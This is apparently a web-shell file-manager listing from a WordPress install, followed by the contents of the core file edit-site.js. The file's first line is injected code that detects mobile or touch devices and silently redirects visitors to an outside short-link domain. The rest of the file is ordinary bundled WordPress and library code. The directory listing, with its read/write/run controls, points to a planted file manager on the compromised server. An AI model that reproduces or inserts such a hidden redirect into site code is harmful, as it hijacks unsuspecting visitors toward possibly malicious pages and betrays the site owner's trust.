at path:ROOT / wp-includes / js / dist / edit-site.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄edit-site.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).editSite = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __require = /* @__PURE__ */ ((x2) => typeof require !== "undefined" ? require : typeof Proxy !== "undefined" ? new Proxy(x2, {
12 get: (a2, b2) => (typeof require !== "undefined" ? require : a2)[b2]
13 }) : x2)(function(x2) {
14 if (typeof require !== "undefined") return require.apply(this, arguments);
15 throw Error('Dynamic require of "' + x2 + '" is not supported');
16 });
17 var __commonJS = (cb, mod) => function __require4() {
18 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
19 };
20 var __export = (target, all) => {
21 for (var name2 in all)
22 __defProp(target, name2, { get: all[name2], enumerable: true });
23 };
24 var __copyProps = (to2, from, except, desc) => {
25 if (from && typeof from === "object" || typeof from === "function") {
26 for (let key of __getOwnPropNames(from))
27 if (!__hasOwnProp.call(to2, key) && key !== except)
28 __defProp(to2, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
29 }
30 return to2;
31 };
32 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
33 // If the importer is in node compatibility mode or this is not an ESM
34 // file that has been converted to a CommonJS file using a Babel-
35 // compatible transform (i.e. "__esModule" has not been set), then set
36 // "default" to the CommonJS "module.exports" for node compatibility.
37 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
38 mod
39 ));
40 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
41
42 // package-external:@wordpress/blocks
43 var require_blocks = __commonJS({
44 "package-external:@wordpress/blocks"(exports, module) {
45 module.exports = window.wp.blocks;
46 }
47 });
48
49 // package-external:@wordpress/block-library
50 var require_block_library = __commonJS({
51 "package-external:@wordpress/block-library"(exports, module) {
52 module.exports = window.wp.blockLibrary;
53 }
54 });
55
56 // package-external:@wordpress/data
57 var require_data = __commonJS({
58 "package-external:@wordpress/data"(exports, module) {
59 module.exports = window.wp.data;
60 }
61 });
62
63 // package-external:@wordpress/deprecated
64 var require_deprecated = __commonJS({
65 "package-external:@wordpress/deprecated"(exports, module) {
66 module.exports = window.wp.deprecated;
67 }
68 });
69
70 // package-external:@wordpress/element
71 var require_element = __commonJS({
72 "package-external:@wordpress/element"(exports, module) {
73 module.exports = window.wp.element;
74 }
75 });
76
77 // package-external:@wordpress/editor
78 var require_editor = __commonJS({
79 "package-external:@wordpress/editor"(exports, module) {
80 module.exports = window.wp.editor;
81 }
82 });
83
84 // package-external:@wordpress/preferences
85 var require_preferences = __commonJS({
86 "package-external:@wordpress/preferences"(exports, module) {
87 module.exports = window.wp.preferences;
88 }
89 });
90
91 // package-external:@wordpress/widgets
92 var require_widgets = __commonJS({
93 "package-external:@wordpress/widgets"(exports, module) {
94 module.exports = window.wp.widgets;
95 }
96 });
97
98 // package-external:@wordpress/core-data
99 var require_core_data = __commonJS({
100 "package-external:@wordpress/core-data"(exports, module) {
101 module.exports = window.wp.coreData;
102 }
103 });
104
105 // package-external:@wordpress/block-editor
106 var require_block_editor = __commonJS({
107 "package-external:@wordpress/block-editor"(exports, module) {
108 module.exports = window.wp.blockEditor;
109 }
110 });
111
112 // package-external:@wordpress/i18n
113 var require_i18n = __commonJS({
114 "package-external:@wordpress/i18n"(exports, module) {
115 module.exports = window.wp.i18n;
116 }
117 });
118
119 // package-external:@wordpress/patterns
120 var require_patterns = __commonJS({
121 "package-external:@wordpress/patterns"(exports, module) {
122 module.exports = window.wp.patterns;
123 }
124 });
125
126 // package-external:@wordpress/private-apis
127 var require_private_apis = __commonJS({
128 "package-external:@wordpress/private-apis"(exports, module) {
129 module.exports = window.wp.privateApis;
130 }
131 });
132
133 // package-external:@wordpress/router
134 var require_router = __commonJS({
135 "package-external:@wordpress/router"(exports, module) {
136 module.exports = window.wp.router;
137 }
138 });
139
140 // package-external:@wordpress/components
141 var require_components = __commonJS({
142 "package-external:@wordpress/components"(exports, module) {
143 module.exports = window.wp.components;
144 }
145 });
146
147 // vendor-external:react/jsx-runtime
148 var require_jsx_runtime = __commonJS({
149 "vendor-external:react/jsx-runtime"(exports, module) {
150 module.exports = window.ReactJSXRuntime;
151 }
152 });
153
154 // vendor-external:react
155 var require_react = __commonJS({
156 "vendor-external:react"(exports, module) {
157 module.exports = window.React;
158 }
159 });
160
161 // vendor-external:react-dom
162 var require_react_dom = __commonJS({
163 "vendor-external:react-dom"(exports, module) {
164 module.exports = window.ReactDOM;
165 }
166 });
167
168 // node_modules/use-sync-external-store/cjs/use-sync-external-store-shim.development.js
169 var require_use_sync_external_store_shim_development = __commonJS({
170 "node_modules/use-sync-external-store/cjs/use-sync-external-store-shim.development.js"(exports) {
171 "use strict";
172 (function() {
173 function is2(x2, y2) {
174 return x2 === y2 && (0 !== x2 || 1 / x2 === 1 / y2) || x2 !== x2 && y2 !== y2;
175 }
176 function useSyncExternalStore$2(subscribe2, getSnapshot) {
177 didWarnOld18Alpha || void 0 === React10.startTransition || (didWarnOld18Alpha = true, console.error(
178 "You are using an outdated, pre-release alpha of React 18 that does not support useSyncExternalStore. The use-sync-external-store shim will not work correctly. Upgrade to a newer pre-release."
179 ));
180 var value = getSnapshot();
181 if (!didWarnUncachedGetSnapshot) {
182 var cachedValue = getSnapshot();
183 objectIs(value, cachedValue) || (console.error(
184 "The result of getSnapshot should be cached to avoid an infinite loop"
185 ), didWarnUncachedGetSnapshot = true);
186 }
187 cachedValue = useState71({
188 inst: { value, getSnapshot }
189 });
190 var inst = cachedValue[0].inst, forceUpdate = cachedValue[1];
191 useLayoutEffect7(
192 function() {
193 inst.value = value;
194 inst.getSnapshot = getSnapshot;
195 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
196 },
197 [subscribe2, value, getSnapshot]
198 );
199 useEffect51(
200 function() {
201 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
202 return subscribe2(function() {
203 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
204 });
205 },
206 [subscribe2]
207 );
208 useDebugValue(value);
209 return value;
210 }
211 function checkIfSnapshotChanged(inst) {
212 var latestGetSnapshot = inst.getSnapshot;
213 inst = inst.value;
214 try {
215 var nextValue = latestGetSnapshot();
216 return !objectIs(inst, nextValue);
217 } catch (error) {
218 return true;
219 }
220 }
221 function useSyncExternalStore$1(subscribe2, getSnapshot) {
222 return getSnapshot();
223 }
224 "undefined" !== typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ && "function" === typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart && __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart(Error());
225 var React10 = require_react(), objectIs = "function" === typeof Object.is ? Object.is : is2, useState71 = React10.useState, useEffect51 = React10.useEffect, useLayoutEffect7 = React10.useLayoutEffect, useDebugValue = React10.useDebugValue, didWarnOld18Alpha = false, didWarnUncachedGetSnapshot = false, shim = "undefined" === typeof window || "undefined" === typeof window.document || "undefined" === typeof window.document.createElement ? useSyncExternalStore$1 : useSyncExternalStore$2;
226 exports.useSyncExternalStore = void 0 !== React10.useSyncExternalStore ? React10.useSyncExternalStore : shim;
227 "undefined" !== typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ && "function" === typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop && __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop(Error());
228 })();
229 }
230 });
231
232 // node_modules/use-sync-external-store/shim/index.js
233 var require_shim = __commonJS({
234 "node_modules/use-sync-external-store/shim/index.js"(exports, module) {
235 "use strict";
236 if (false) {
237 module.exports = null;
238 } else {
239 module.exports = require_use_sync_external_store_shim_development();
240 }
241 }
242 });
243
244 // package-external:@wordpress/a11y
245 var require_a11y = __commonJS({
246 "package-external:@wordpress/a11y"(exports, module) {
247 module.exports = window.wp.a11y;
248 }
249 });
250
251 // package-external:@wordpress/primitives
252 var require_primitives = __commonJS({
253 "package-external:@wordpress/primitives"(exports, module) {
254 module.exports = window.wp.primitives;
255 }
256 });
257
258 // package-external:@wordpress/compose
259 var require_compose = __commonJS({
260 "package-external:@wordpress/compose"(exports, module) {
261 module.exports = window.wp.compose;
262 }
263 });
264
265 // package-external:@wordpress/plugins
266 var require_plugins = __commonJS({
267 "package-external:@wordpress/plugins"(exports, module) {
268 module.exports = window.wp.plugins;
269 }
270 });
271
272 // package-external:@wordpress/notices
273 var require_notices = __commonJS({
274 "package-external:@wordpress/notices"(exports, module) {
275 module.exports = window.wp.notices;
276 }
277 });
278
279 // package-external:@wordpress/html-entities
280 var require_html_entities = __commonJS({
281 "package-external:@wordpress/html-entities"(exports, module) {
282 module.exports = window.wp.htmlEntities;
283 }
284 });
285
286 // package-external:@wordpress/commands
287 var require_commands = __commonJS({
288 "package-external:@wordpress/commands"(exports, module) {
289 module.exports = window.wp.commands;
290 }
291 });
292
293 // package-external:@wordpress/keycodes
294 var require_keycodes = __commonJS({
295 "package-external:@wordpress/keycodes"(exports, module) {
296 module.exports = window.wp.keycodes;
297 }
298 });
299
300 // package-external:@wordpress/url
301 var require_url = __commonJS({
302 "package-external:@wordpress/url"(exports, module) {
303 module.exports = window.wp.url;
304 }
305 });
306
307 // package-external:@wordpress/dom
308 var require_dom = __commonJS({
309 "package-external:@wordpress/dom"(exports, module) {
310 module.exports = window.wp.dom;
311 }
312 });
313
314 // package-external:@wordpress/keyboard-shortcuts
315 var require_keyboard_shortcuts = __commonJS({
316 "package-external:@wordpress/keyboard-shortcuts"(exports, module) {
317 module.exports = window.wp.keyboardShortcuts;
318 }
319 });
320
321 // package-external:@wordpress/api-fetch
322 var require_api_fetch = __commonJS({
323 "package-external:@wordpress/api-fetch"(exports, module) {
324 module.exports = window.wp.apiFetch;
325 }
326 });
327
328 // package-external:@wordpress/style-engine
329 var require_style_engine = __commonJS({
330 "package-external:@wordpress/style-engine"(exports, module) {
331 module.exports = window.wp.styleEngine;
332 }
333 });
334
335 // node_modules/fast-deep-equal/es6/index.js
336 var require_es6 = __commonJS({
337 "node_modules/fast-deep-equal/es6/index.js"(exports, module) {
338 "use strict";
339 module.exports = function equal(a2, b2) {
340 if (a2 === b2) return true;
341 if (a2 && b2 && typeof a2 == "object" && typeof b2 == "object") {
342 if (a2.constructor !== b2.constructor) return false;
343 var length, i2, keys;
344 if (Array.isArray(a2)) {
345 length = a2.length;
346 if (length != b2.length) return false;
347 for (i2 = length; i2-- !== 0; )
348 if (!equal(a2[i2], b2[i2])) return false;
349 return true;
350 }
351 if (a2 instanceof Map && b2 instanceof Map) {
352 if (a2.size !== b2.size) return false;
353 for (i2 of a2.entries())
354 if (!b2.has(i2[0])) return false;
355 for (i2 of a2.entries())
356 if (!equal(i2[1], b2.get(i2[0]))) return false;
357 return true;
358 }
359 if (a2 instanceof Set && b2 instanceof Set) {
360 if (a2.size !== b2.size) return false;
361 for (i2 of a2.entries())
362 if (!b2.has(i2[0])) return false;
363 return true;
364 }
365 if (ArrayBuffer.isView(a2) && ArrayBuffer.isView(b2)) {
366 length = a2.length;
367 if (length != b2.length) return false;
368 for (i2 = length; i2-- !== 0; )
369 if (a2[i2] !== b2[i2]) return false;
370 return true;
371 }
372 if (a2.constructor === RegExp) return a2.source === b2.source && a2.flags === b2.flags;
373 if (a2.valueOf !== Object.prototype.valueOf) return a2.valueOf() === b2.valueOf();
374 if (a2.toString !== Object.prototype.toString) return a2.toString() === b2.toString();
375 keys = Object.keys(a2);
376 length = keys.length;
377 if (length !== Object.keys(b2).length) return false;
378 for (i2 = length; i2-- !== 0; )
379 if (!Object.prototype.hasOwnProperty.call(b2, keys[i2])) return false;
380 for (i2 = length; i2-- !== 0; ) {
381 var key = keys[i2];
382 if (!equal(a2[key], b2[key])) return false;
383 }
384 return true;
385 }
386 return a2 !== a2 && b2 !== b2;
387 };
388 }
389 });
390
391 // node_modules/deepmerge/dist/cjs.js
392 var require_cjs = __commonJS({
393 "node_modules/deepmerge/dist/cjs.js"(exports, module) {
394 "use strict";
395 var isMergeableObject = function isMergeableObject2(value) {
396 return isNonNullObject(value) && !isSpecial(value);
397 };
398 function isNonNullObject(value) {
399 return !!value && typeof value === "object";
400 }
401 function isSpecial(value) {
402 var stringValue = Object.prototype.toString.call(value);
403 return stringValue === "[object RegExp]" || stringValue === "[object Date]" || isReactElement(value);
404 }
405 var canUseSymbol = typeof Symbol === "function" && Symbol.for;
406 var REACT_ELEMENT_TYPE = canUseSymbol ? /* @__PURE__ */ Symbol.for("react.element") : 60103;
407 function isReactElement(value) {
408 return value.$$typeof === REACT_ELEMENT_TYPE;
409 }
410 function emptyTarget(val) {
411 return Array.isArray(val) ? [] : {};
412 }
413 function cloneUnlessOtherwiseSpecified(value, options) {
414 return options.clone !== false && options.isMergeableObject(value) ? deepmerge2(emptyTarget(value), value, options) : value;
415 }
416 function defaultArrayMerge(target, source, options) {
417 return target.concat(source).map(function(element) {
418 return cloneUnlessOtherwiseSpecified(element, options);
419 });
420 }
421 function getMergeFunction(key, options) {
422 if (!options.customMerge) {
423 return deepmerge2;
424 }
425 var customMerge = options.customMerge(key);
426 return typeof customMerge === "function" ? customMerge : deepmerge2;
427 }
428 function getEnumerableOwnPropertySymbols(target) {
429 return Object.getOwnPropertySymbols ? Object.getOwnPropertySymbols(target).filter(function(symbol3) {
430 return Object.propertyIsEnumerable.call(target, symbol3);
431 }) : [];
432 }
433 function getKeys2(target) {
434 return Object.keys(target).concat(getEnumerableOwnPropertySymbols(target));
435 }
436 function propertyIsOnObject(object, property) {
437 try {
438 return property in object;
439 } catch (_) {
440 return false;
441 }
442 }
443 function propertyIsUnsafe(target, key) {
444 return propertyIsOnObject(target, key) && !(Object.hasOwnProperty.call(target, key) && Object.propertyIsEnumerable.call(target, key));
445 }
446 function mergeObject(target, source, options) {
447 var destination = {};
448 if (options.isMergeableObject(target)) {
449 getKeys2(target).forEach(function(key) {
450 destination[key] = cloneUnlessOtherwiseSpecified(target[key], options);
451 });
452 }
453 getKeys2(source).forEach(function(key) {
454 if (propertyIsUnsafe(target, key)) {
455 return;
456 }
457 if (propertyIsOnObject(target, key) && options.isMergeableObject(source[key])) {
458 destination[key] = getMergeFunction(key, options)(target[key], source[key], options);
459 } else {
460 destination[key] = cloneUnlessOtherwiseSpecified(source[key], options);
461 }
462 });
463 return destination;
464 }
465 function deepmerge2(target, source, options) {
466 options = options || {};
467 options.arrayMerge = options.arrayMerge || defaultArrayMerge;
468 options.isMergeableObject = options.isMergeableObject || isMergeableObject;
469 options.cloneUnlessOtherwiseSpecified = cloneUnlessOtherwiseSpecified;
470 var sourceIsArray = Array.isArray(source);
471 var targetIsArray = Array.isArray(target);
472 var sourceAndTargetTypesMatch = sourceIsArray === targetIsArray;
473 if (!sourceAndTargetTypesMatch) {
474 return cloneUnlessOtherwiseSpecified(source, options);
475 } else if (sourceIsArray) {
476 return options.arrayMerge(target, source, options);
477 } else {
478 return mergeObject(target, source, options);
479 }
480 }
481 deepmerge2.all = function deepmergeAll(array, options) {
482 if (!Array.isArray(array)) {
483 throw new Error("first argument should be an array");
484 }
485 return array.reduce(function(prev, next) {
486 return deepmerge2(prev, next, options);
487 }, {});
488 };
489 var deepmerge_1 = deepmerge2;
490 module.exports = deepmerge_1;
491 }
492 });
493
494 // package-external:@wordpress/date
495 var require_date = __commonJS({
496 "package-external:@wordpress/date"(exports, module) {
497 module.exports = window.wp.date;
498 }
499 });
500
501 // package-external:@wordpress/blob
502 var require_blob = __commonJS({
503 "package-external:@wordpress/blob"(exports, module) {
504 module.exports = window.wp.blob;
505 }
506 });
507
508 // node_modules/remove-accents/index.js
509 var require_remove_accents = __commonJS({
510 "node_modules/remove-accents/index.js"(exports, module) {
511 var characterMap = {
512 "\xC0": "A",
513 "\xC1": "A",
514 "\xC2": "A",
515 "\xC3": "A",
516 "\xC4": "A",
517 "\xC5": "A",
518 "\u1EA4": "A",
519 "\u1EAE": "A",
520 "\u1EB2": "A",
521 "\u1EB4": "A",
522 "\u1EB6": "A",
523 "\xC6": "AE",
524 "\u1EA6": "A",
525 "\u1EB0": "A",
526 "\u0202": "A",
527 "\u1EA2": "A",
528 "\u1EA0": "A",
529 "\u1EA8": "A",
530 "\u1EAA": "A",
531 "\u1EAC": "A",
532 "\xC7": "C",
533 "\u1E08": "C",
534 "\xC8": "E",
535 "\xC9": "E",
536 "\xCA": "E",
537 "\xCB": "E",
538 "\u1EBE": "E",
539 "\u1E16": "E",
540 "\u1EC0": "E",
541 "\u1E14": "E",
542 "\u1E1C": "E",
543 "\u0206": "E",
544 "\u1EBA": "E",
545 "\u1EBC": "E",
546 "\u1EB8": "E",
547 "\u1EC2": "E",
548 "\u1EC4": "E",
549 "\u1EC6": "E",
550 "\xCC": "I",
551 "\xCD": "I",
552 "\xCE": "I",
553 "\xCF": "I",
554 "\u1E2E": "I",
555 "\u020A": "I",
556 "\u1EC8": "I",
557 "\u1ECA": "I",
558 "\xD0": "D",
559 "\xD1": "N",
560 "\xD2": "O",
561 "\xD3": "O",
562 "\xD4": "O",
563 "\xD5": "O",
564 "\xD6": "O",
565 "\xD8": "O",
566 "\u1ED0": "O",
567 "\u1E4C": "O",
568 "\u1E52": "O",
569 "\u020E": "O",
570 "\u1ECE": "O",
571 "\u1ECC": "O",
572 "\u1ED4": "O",
573 "\u1ED6": "O",
574 "\u1ED8": "O",
575 "\u1EDC": "O",
576 "\u1EDE": "O",
577 "\u1EE0": "O",
578 "\u1EDA": "O",
579 "\u1EE2": "O",
580 "\xD9": "U",
581 "\xDA": "U",
582 "\xDB": "U",
583 "\xDC": "U",
584 "\u1EE6": "U",
585 "\u1EE4": "U",
586 "\u1EEC": "U",
587 "\u1EEE": "U",
588 "\u1EF0": "U",
589 "\xDD": "Y",
590 "\xE0": "a",
591 "\xE1": "a",
592 "\xE2": "a",
593 "\xE3": "a",
594 "\xE4": "a",
595 "\xE5": "a",
596 "\u1EA5": "a",
597 "\u1EAF": "a",
598 "\u1EB3": "a",
599 "\u1EB5": "a",
600 "\u1EB7": "a",
601 "\xE6": "ae",
602 "\u1EA7": "a",
603 "\u1EB1": "a",
604 "\u0203": "a",
605 "\u1EA3": "a",
606 "\u1EA1": "a",
607 "\u1EA9": "a",
608 "\u1EAB": "a",
609 "\u1EAD": "a",
610 "\xE7": "c",
611 "\u1E09": "c",
612 "\xE8": "e",
613 "\xE9": "e",
614 "\xEA": "e",
615 "\xEB": "e",
616 "\u1EBF": "e",
617 "\u1E17": "e",
618 "\u1EC1": "e",
619 "\u1E15": "e",
620 "\u1E1D": "e",
621 "\u0207": "e",
622 "\u1EBB": "e",
623 "\u1EBD": "e",
624 "\u1EB9": "e",
625 "\u1EC3": "e",
626 "\u1EC5": "e",
627 "\u1EC7": "e",
628 "\xEC": "i",
629 "\xED": "i",
630 "\xEE": "i",
631 "\xEF": "i",
632 "\u1E2F": "i",
633 "\u020B": "i",
634 "\u1EC9": "i",
635 "\u1ECB": "i",
636 "\xF0": "d",
637 "\xF1": "n",
638 "\xF2": "o",
639 "\xF3": "o",
640 "\xF4": "o",
641 "\xF5": "o",
642 "\xF6": "o",
643 "\xF8": "o",
644 "\u1ED1": "o",
645 "\u1E4D": "o",
646 "\u1E53": "o",
647 "\u020F": "o",
648 "\u1ECF": "o",
649 "\u1ECD": "o",
650 "\u1ED5": "o",
651 "\u1ED7": "o",
652 "\u1ED9": "o",
653 "\u1EDD": "o",
654 "\u1EDF": "o",
655 "\u1EE1": "o",
656 "\u1EDB": "o",
657 "\u1EE3": "o",
658 "\xF9": "u",
659 "\xFA": "u",
660 "\xFB": "u",
661 "\xFC": "u",
662 "\u1EE7": "u",
663 "\u1EE5": "u",
664 "\u1EED": "u",
665 "\u1EEF": "u",
666 "\u1EF1": "u",
667 "\xFD": "y",
668 "\xFF": "y",
669 "\u0100": "A",
670 "\u0101": "a",
671 "\u0102": "A",
672 "\u0103": "a",
673 "\u0104": "A",
674 "\u0105": "a",
675 "\u0106": "C",
676 "\u0107": "c",
677 "\u0108": "C",
678 "\u0109": "c",
679 "\u010A": "C",
680 "\u010B": "c",
681 "\u010C": "C",
682 "\u010D": "c",
683 "C\u0306": "C",
684 "c\u0306": "c",
685 "\u010E": "D",
686 "\u010F": "d",
687 "\u0110": "D",
688 "\u0111": "d",
689 "\u0112": "E",
690 "\u0113": "e",
691 "\u0114": "E",
692 "\u0115": "e",
693 "\u0116": "E",
694 "\u0117": "e",
695 "\u0118": "E",
696 "\u0119": "e",
697 "\u011A": "E",
698 "\u011B": "e",
699 "\u011C": "G",
700 "\u01F4": "G",
701 "\u011D": "g",
702 "\u01F5": "g",
703 "\u011E": "G",
704 "\u011F": "g",
705 "\u0120": "G",
706 "\u0121": "g",
707 "\u0122": "G",
708 "\u0123": "g",
709 "\u0124": "H",
710 "\u0125": "h",
711 "\u0126": "H",
712 "\u0127": "h",
713 "\u1E2A": "H",
714 "\u1E2B": "h",
715 "\u0128": "I",
716 "\u0129": "i",
717 "\u012A": "I",
718 "\u012B": "i",
719 "\u012C": "I",
720 "\u012D": "i",
721 "\u012E": "I",
722 "\u012F": "i",
723 "\u0130": "I",
724 "\u0131": "i",
725 "\u0132": "IJ",
726 "\u0133": "ij",
727 "\u0134": "J",
728 "\u0135": "j",
729 "\u0136": "K",
730 "\u0137": "k",
731 "\u1E30": "K",
732 "\u1E31": "k",
733 "K\u0306": "K",
734 "k\u0306": "k",
735 "\u0139": "L",
736 "\u013A": "l",
737 "\u013B": "L",
738 "\u013C": "l",
739 "\u013D": "L",
740 "\u013E": "l",
741 "\u013F": "L",
742 "\u0140": "l",
743 "\u0141": "l",
744 "\u0142": "l",
745 "\u1E3E": "M",
746 "\u1E3F": "m",
747 "M\u0306": "M",
748 "m\u0306": "m",
749 "\u0143": "N",
750 "\u0144": "n",
751 "\u0145": "N",
752 "\u0146": "n",
753 "\u0147": "N",
754 "\u0148": "n",
755 "\u0149": "n",
756 "N\u0306": "N",
757 "n\u0306": "n",
758 "\u014C": "O",
759 "\u014D": "o",
760 "\u014E": "O",
761 "\u014F": "o",
762 "\u0150": "O",
763 "\u0151": "o",
764 "\u0152": "OE",
765 "\u0153": "oe",
766 "P\u0306": "P",
767 "p\u0306": "p",
768 "\u0154": "R",
769 "\u0155": "r",
770 "\u0156": "R",
771 "\u0157": "r",
772 "\u0158": "R",
773 "\u0159": "r",
774 "R\u0306": "R",
775 "r\u0306": "r",
776 "\u0212": "R",
777 "\u0213": "r",
778 "\u015A": "S",
